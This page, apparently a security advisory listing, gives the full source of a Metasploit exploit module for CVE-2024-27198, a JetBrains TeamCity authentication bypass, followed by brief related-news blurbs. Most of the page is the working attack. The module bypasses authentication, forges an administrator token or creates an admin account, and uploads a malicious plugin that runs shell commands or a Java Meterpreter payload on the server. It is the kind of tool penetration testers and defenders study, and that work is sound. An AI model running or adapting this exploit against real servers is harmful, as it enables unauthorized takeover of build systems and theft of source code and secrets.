Headline
JetBrains TeamCity Unauthenticated Remote Code Execution
This Metasploit module exploits an authentication bypass vulnerability in JetBrains TeamCity. An unauthenticated attacker can leverage this to access the REST API and create a new administrator access token. This token can be used to upload a plugin which contains a Metasploit payload, allowing the attacker to achieve unauthenticated remote code execution on the target TeamCity server. On older versions of TeamCity, access tokens do not exist so the exploit will instead create a new administrator account before uploading a plugin. Older versions of TeamCity have a debug endpoint (/app/rest/debug/process) that allows for arbitrary commands to be executed, however recent version of TeamCity no longer ship this endpoint, hence why a plugin is leveraged for code execution instead, as this is supported on all versions tested.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'JetBrains TeamCity Unauthenticated Remote Code Execution', 'Description' => %q{ This module exploits an authentication bypass vulnerability in JetBrains TeamCity. An unauthenticated attacker can leverage this to access the REST API and create a new administrator access token. This token can be used to upload a plugin which contains a Metasploit payload, allowing the attacker to achieve unauthenticated RCE on the target TeamCity server. On older versions of TeamCity, access tokens do not exist so the exploit will instead create a new administrator account before uploading a plugin. Older version of TeamCity have a debug endpoint (/app/rest/debug/process) that allows for arbitrary commands to be executed, however recent version of TeamCity no longer ship this endpoint, hence why a plugin is leveraged for code execution instead, as this is supported on all versions tested. }, 'License' => MSF_LICENSE, 'Author' => [ 'sfewer-r7', # Discovery, Analysis, Exploit ], 'References' => [ ['CVE', '2024-27198'], ['URL', 'https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/'], ['URL', 'https://blog.jetbrains.com/teamcity/2024/03/teamcity-2023-11-4-is-out/'] ], 'DisclosureDate' => '2024-03-04', 'Platform' => %w[java win linux unix], 'Arch' => [ARCH_JAVA, ARCH_CMD], 'Privileged' => false, # TeamCity may be installed to run as local system/root, or it may be run as a custom user account. # Tested against: # * TeamCity 2023.11.3 (build 147512) running on Windows Server 2022 # * TeamCity 2023.11.2 (build 147486) running on Windows Server 2022 # * TeamCity 2023.11.3 (build 147512) running on Linux # * TeamCity 2018.2.4 (build 61678) running on Windows Server 2016 'Targets' => [ [ 'Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'DefaultOptions' => { # We execute the Java payload in a thread in the target Tomcat process. Spawn must be 0 for this to # happen, otherwise Spawn forces the Paylaod.java class to drop the payload to disk. For an unknown # reason Spawn > 0 will not work against TeamCity on Linux. 'Spawn' => 0 } } ], [ 'Java Server Page', { 'Platform' => %w[win linux unix], 'Arch' => ARCH_JAVA } ], [ 'Windows Command', { 'Platform' => 'win', 'Arch' => ARCH_CMD } ], [ 'Linux Command', { 'Platform' => 'linux', 'Arch' => ARCH_CMD } ], [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ # By default TeamCity listens for HTTP requests on TCP port 8111 (Older version of the product listen on # port 80 by default). Opt::RPORT(8111), OptString.new('TARGETURI', [true, 'The base path to TeamCity', '/']), # The first user created during installation is an administrator account, so the ID will be 1. OptInt.new('TEAMCITY_ADMIN_ID', [true, 'The ID of an administrator account to authenticate as', 1]) ] ) end # This is the authentication bypass vulnerability, allowing any authenticated endpoint to be access unauthenticated. def send_auth_bypass_request_cgi(opts = {}) # The file name of the .jsp can be 0 or more characters (it just has to end in .jsp) vars_get = { 'jsp' => "#{opts['uri']};#{Rex::Text.rand_text_alphanumeric(rand(8))}.jsp" } # Add in 0 or more random query parameters, and ensure the order is shuffled in the request. 0.upto(rand(8)) do vars_get[Rex::Text.rand_text_alphanumeric(rand(1..8))] = Rex::Text.rand_text_alphanumeric(rand(1..16)) end opts['vars_get'] ||= {} opts['vars_get'].merge!(vars_get) opts['shuffle_get_params'] = true opts['uri'] = normalize_uri(target_uri.path, Rex::Text.rand_text_alphanumeric(8)) send_request_cgi(opts) end def check # We leverage the vulnerability to reach the /app/rest/server endpoint. If this request succeeds then we know the # target is vulnerable. server_res = send_auth_bypass_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server') ) return CheckCode::Unknown('Connection failed') unless server_res # A patched TeamCity, e.g. 2023.11.4, reports 403 (Forbidden) return CheckCode::Safe if server_res.code == 403 return CheckCode::Unknown("Received unexpected HTTP status code: #{server_res.code}.") unless server_res.code == 200 # We can request /app/rest/debug/jvm/systemProperties and pull out the Java "os.name" property. We dont fail the # check routine if this request fails, as we have enough info to provide a CheckCode, however displaying the target # platform can help inform the user what payload target to choose (i.e. Windows or Linux). sysprop_res = send_auth_bypass_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'debug', 'jvm', 'systemProperties') ) platform = '' if sysprop_res&.code == 200 xml_sysprop_data = sysprop_res.get_xml_document os_name = xml_sysprop_data&.at('property[name="os.name"]') platform = " running on #{os_name.attr('value')}" if os_name end xml_server_data = server_res.get_xml_document server_data = xml_server_data&.at('server') version = " #{server_data.attr('version')}" if server_data CheckCode::Vulnerable("JetBrains TeamCity#{version}#{platform}.") end def exploit # # 1. Leverage the auth bypass to generate a new administrator access token. Older version of TeamCity (circa 2018) # do not have support for access token, so we fall back to creating a new administrator account. The benefit # of using an access token is we can delete it when we are finished, unlike a user account. # token_name = Rex::Text.rand_text_alphanumeric(8) res = send_auth_bypass_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users', "id:#{datastore['TEAMCITY_ADMIN_ID']}", 'tokens', token_name) ) if res && (res.code == 404) && res.body.include?('api.NotFoundException') print_warning('Tokens API not found, falling back to creating an admin user.') token_name = nil token_value = nil http_authorization = auth_new_admin_user fail_with(Failure::NoAccess, 'Failed to login with new admin user credentials.') if http_authorization.nil? else unless res&.code == 200 # One reason token creation may fail is if we use a user ID for a user that does not exist. We detect that here # and instruct the user to choose a new ID via the TEAMCITY_ADMIN_ID option. if res && (res.code == 404) && res.body.include?('User not found') print_warning('User not found. Try setting the TEAMCITY_ADMIN_ID option to a different ID.') end fail_with(Failure::UnexpectedReply, 'Failed to create an authentication token.') end # Extract the authentication token from the response. token_value = res.get_xml_document&.xpath('/token')&.attr('value')&.to_s fail_with(Failure::UnexpectedReply, 'Failed to read authentication token from reply.') if token_value.nil? print_status("Created authentication token: #{token_value}") http_authorization = "Bearer #{token_value}" end # As we have created an access token, this begin block ensures we delete the token when we are done. begin # # 2. Create a malicious TeamCity plugin to host our payload. # plugin_name = Rex::Text.rand_text_alphanumeric(8) zip_plugin = create_payload_plugin(plugin_name) fail_with(Failure::BadConfig, 'Could not create the payload plugin.') if zip_plugin.nil? # # 3. Upload the payload plugin to the TeamCity server # print_status("Uploading plugin: #{plugin_name}") message = Rex::MIME::Message.new message.add_part( "#{plugin_name}.zip", nil, nil, 'form-data; name="fileName"' ) message.add_part( zip_plugin.pack.to_s, 'application/octet-stream', 'binary', "form-data; name=\"file:fileToUpload\"; filename=\"#{plugin_name}.zip\"" ) res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'pluginUpload.html'), 'ctype' => 'multipart/form-data; boundary=' + message.bound, 'keep_cookies' => true, 'headers' => { 'Origin' => full_uri, 'Authorization' => http_authorization }, 'data' => message.to_s ) fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin.') unless res&.code == 200 # # 4. We have to enable the newly uploaded plugin so the plugin actually loads into the server. # res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'), 'keep_cookies' => true, 'headers' => { 'Origin' => full_uri, 'Authorization' => http_authorization }, 'vars_post' => { 'action' => 'loadAll', 'plugins' => plugin_name } ) fail_with(Failure::UnexpectedReply, 'Failed to load the plugin.') unless res&.code == 200 # As we have uploaded the plugin, this begin block ensure we delete the plugin when we are done. begin # # 5. Begin to clean up, register several paths for cleanup. # if (install_path, sep = get_install_path(http_authorization)) vprint_status("Target install path: #{install_path}") if target['Arch'] == ARCH_JAVA # The Java payload plugin will have its buildServerResources extracted to a path like: # C:\TeamCity\webapps\ROOT\plugins\yxfyjrBQ # So we register this for cleanup. # Note: The java process may recreate this a second time after we delete it. register_dir_for_cleanup([install_path, 'webapps', 'ROOT', 'plugins', plugin_name].join(sep)) end if (build_number = get_build_number(http_authorization)) vprint_status("Target build number: #{build_number}") # The Tomcat web server will compile our ARCH_JAVA payload and store the associated .class files in a # path like: C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_6vDwPWJs\org\apache\jsp\plugins\_6vDwPWJs\ # So we register this for cleanup too. This folder will be created for a ARCH_CMD payload, although # it will be empty. register_dir_for_cleanup([install_path, 'work', 'Catalina', 'localhost', 'ROOT', "TC_#{build_number}_#{plugin_name}"].join(sep)) else print_warning('Could not discover build number. Unable to register Catalina files for cleanup.') end else print_warning('Could not discover install path. Unable to register files for cleanup.') end # On a Linux target we see the extracted plugin file remaining here even after we delete the plugin. # /home/teamcity/.BuildServer/system/caches/plugins.unpacked/XXXXXXXX/ if (data_path = get_data_dir_path(http_authorization)) vprint_status("Target data directory path: #{data_path}") register_dir_for_cleanup([data_path, 'system', 'caches', 'plugins.unpacked', plugin_name].join(sep)) else print_warning('Could not discover data directory path. Unable to register files for cleanup.') end # # 6. Trigger the payload and get a session. ARCH_JAVA JSP payloads need us to hit an endpoint. ARCH_JAVA Java # payloads and ARCH_CMD payloads are triggered upon enabling a loaded plugin. # if target['Arch'] == ARCH_JAVA && target['Platform'] != 'java' res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'plugins', plugin_name, "#{plugin_name}.jsp"), 'keep_cookies' => true, 'headers' => { 'Origin' => full_uri, 'Authorization' => http_authorization } ) fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.') unless res&.code == 200 end ensure # # 7. Ensure we delete the plugin from the server when we are finished. # print_status('Deleting the plugin...') print_warning('Failed to delete the plugin.') unless delete_plugin(http_authorization, plugin_name) end ensure # # 8. Ensure we delete the access token we created when we are finished. If we authorized via a user name and # password, we cannot delete the user account we created. # if token_name && token_value print_status('Deleting the authentication token...') print_warning('Failed to delete the authentication token.') unless delete_token(token_name, token_value) end end end def auth_new_admin_user admin_username = Faker::Internet.username admin_password = Rex::Text.rand_text_alphanumeric(16) res = send_auth_bypass_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users'), 'ctype' => 'application/json', 'data' => { 'username' => admin_username, 'password' => admin_password, 'name' => Faker::Name.name, 'email' => Faker::Internet.email(name: admin_username), 'roles' => { 'role' => [ { 'roleId' => 'SYSTEM_ADMIN', 'scope' => 'g' } ] } }.to_json ) unless res&.code == 200 print_warning('Failed to create an administrator user.') return nil end print_status("Created account: #{admin_username}:#{admin_password} (Note: This account will not be deleted by the module)") http_authorization = basic_auth(admin_username, admin_password) # Login via HTTP basic authorization and store the session cookie. res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'), 'keep_cookies' => true, 'headers' => { 'Origin' => full_uri, 'Authorization' => http_authorization } ) # A failed login attempt will return in a 401. We expect a 302 redirect upon success. if res&.code == 401 print_warning('Failed to login with new admin user credentials.') return nil end http_authorization end def create_payload_plugin(plugin_name) if target['Arch'] == ARCH_CMD case target['Platform'] when 'win' shell = 'cmd.exe' flag = '/c' when 'linux', 'unix' shell = '/bin/sh' flag = '-c' else print_warning('Unsupported target platform.') return nil end zip_resources = Rex::Zip::Archive.new zip_resources.add_file( "META-INF/build-server-plugin-#{plugin_name}.xml", <<~XML <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd" default-autowire="constructor"> <bean id="#{Rex::Text.rand_text_alpha(8)}" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>#{shell}</value> <value>#{flag}</value> <value><![CDATA[#{payload.encoded}]]></value> </list> </constructor-arg> </bean> </beans> XML ) elsif target['Arch'] == ARCH_JAVA # If the platform is java we can bootstrap a Java Meterpreter if target['Platform'] == 'java' zip_resources = payload.encoded_jar(random: true) # Add in PayloadServlet as this is implements Runable and we can run the payload in a thread. servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class') zip_resources.add_file('/metasploit/PayloadServlet.class', servlet) payload_bean_id = Rex::Text.rand_text_alpha(8) # We start the payload in a new thread via some Spring Expression Language (SpEL). bootstrap_spel = "\#{ new java.lang.Thread(#{payload_bean_id}).start() }" # NOTE: We place bootstrap_spel in a separate bean, as if this generates an exception the plugin will fail # to load correctly, which prevents the exploit from deleting the plugin later. We choose java.beans.Encoder # as the setExceptionListener method will accept the null value the bootstrap_spel will generate. If we # choose a property that does not exist, we generate several exceptions in the teamcity-server.log. zip_resources.add_file( "META-INF/build-server-plugin-#{plugin_name}.xml", <<~XML <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd"> <bean id="#{payload_bean_id}" class="#{zip_resources.substitutions['metasploit']}.PayloadServlet"/> <bean class="java.beans.Encoder"> <property name="exceptionListener" value="#{bootstrap_spel}"/> </bean> </beans> XML ) else # For non java platforms with ARCH_JAVA, we can drop a JSP payload. zip_resources = Rex::Zip::Archive.new zip_resources.add_file("buildServerResources/#{plugin_name}.jsp", payload.encoded) end else print_warning('Unsupported target architecture.') return nil end zip_plugin = Rex::Zip::Archive.new zip_plugin.add_file( 'teamcity-plugin.xml', <<~XML <?xml version="1.0" encoding="UTF-8"?> <teamcity-plugin xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:schemas-jetbrains-com:teamcity-plugin-v1-xml"> <info> <name>#{plugin_name}</name> <display-name>#{plugin_name}</display-name> <description>#{Faker::Lorem.sentence}</description> <version>#{Faker::App.semantic_version}</version> <vendor> <name>#{Faker::Company.name}</name> <url>#{Faker::Internet.url}</url> </vendor> </info> <deployment use-separate-classloader="true" node-responsibilities-aware="true"/> </teamcity-plugin> XML ) zip_plugin.add_file("server/#{plugin_name}.jar", zip_resources.pack) zip_plugin end def get_install_path(http_authorization) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'plugins'), 'keep_cookies' => true, 'headers' => { 'Origin' => full_uri, 'Authorization' => http_authorization } ) unless res&.code == 200 print_warning('Failed to request plugins information.') return nil end plugins_xml = res.get_xml_document restapi_data = plugins_xml.at("//plugin[@name='rest-api']") restapi_load_path = restapi_data&.attr('loadPath') if restapi_load_path.nil? print_warning('Failed to extract plugin loadPath.') return nil end # C:\TeamCity\webapps\ROOT\WEB-INF\plugins\rest-api platforms = { '\\webapps\\ROOT\\WEB-INF\\plugins\\' => '\\', '/webapps/ROOT/WEB-INF/plugins/' => '/' } platforms.each do |path, sep| if (pos = restapi_load_path.index(path)) return [restapi_load_path[0, pos], sep] end end print_warning('Failed to extract install path.') nil end def get_data_dir_path(http_authorization) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'dataDirectoryPath'), 'keep_cookies' => true, 'headers' => { 'Origin' => full_uri, 'Authorization' => http_authorization } ) unless res&.code == 200 print_warning('Failed to request data directory path.') return nil end res.body end def get_build_number(http_authorization) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server'), 'keep_cookies' => true, 'headers' => { 'Origin' => full_uri, 'Authorization' => http_authorization } ) unless res&.code == 200 print_warning('Failed to request server information.') return nil end xml_data = res.get_xml_document server_data = xml_data.at('server') server_data.attr('buildNumber') end def get_plugin_uuid(http_authorization, plugin_name) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'), 'keep_cookies' => true, 'headers' => { 'Origin' => full_uri, 'Authorization' => http_authorization }, 'vars_get' => { 'item' => 'plugins' } ) unless res&.code == 200 print_warning('Failed to list all plugins.') return nil end uuid_match = res.body.match(/'#{Regexp.quote(plugin_name)}', '([a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12})'/) if uuid_match&.length != 2 print_warning('Failed to grep for plugin GUID') return nil end uuid_match[1] end def delete_plugin(http_authorization, plugin_name) plugin_uuid = get_plugin_uuid(http_authorization, plugin_name) if plugin_uuid.nil? print_warning('Failed to discover enabled plugin UUID') return false end vprint_status("Enabled Plugin UUID: #{plugin_uuid}") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'), 'keep_cookies' => true, 'headers' => { 'Origin' => full_uri, 'Authorization' => http_authorization }, 'vars_post' => { 'action' => 'setEnabled', 'enabled' => 'false', 'uuid' => plugin_uuid } ) unless res&.code == 200 print_warning('Failed to disable the plugin.') return false end # The UUID changes after we disable the plugin, so we need to call get_plugin_uuid a second time. plugin_uuid = get_plugin_uuid(http_authorization, plugin_name) if plugin_uuid.nil? print_warning('Failed to discover disabled plugin UUID') return false end vprint_status("Disabled Plugin UUID: #{plugin_uuid}") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'), 'keep_cookies' => true, 'headers' => { 'Origin' => full_uri, 'Authorization' => http_authorization }, 'vars_post' => { 'action' => 'delete', 'uuid' => plugin_uuid } ) unless res&.code == 200 print_warning('Failed request for plugin deletion.') return false end true end def delete_token(token_name, token_value) res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'accessTokens.html'), 'keep_cookies' => true, 'headers' => { 'Origin' => full_uri, 'Authorization' => "Bearer #{token_value}" }, 'vars_post' => { 'accessTokenName' => token_name, 'delete' => 'true', 'userId' => datastore['TEAMCITY_ADMIN_ID'] } ) res&.code == 200 endend
Related news
An advanced persistent threat (APT) group called Void Banshee has been observed exploiting a recently disclosed security flaw in the Microsoft MHTML browser engine as a zero-day to deliver an information stealer called Atlantida. Cybersecurity firm Trend Micro, which observed the activity in mid-May 2024, the vulnerability – tracked as CVE-2024-38112 – was used as part of a multi-stage attack
Users of JetBrains TeamCity on-prmises server need to deal with two serious vulnerabilities.
Users of JetBrains TeamCity on-prmises server need to deal with two serious vulnerabilities.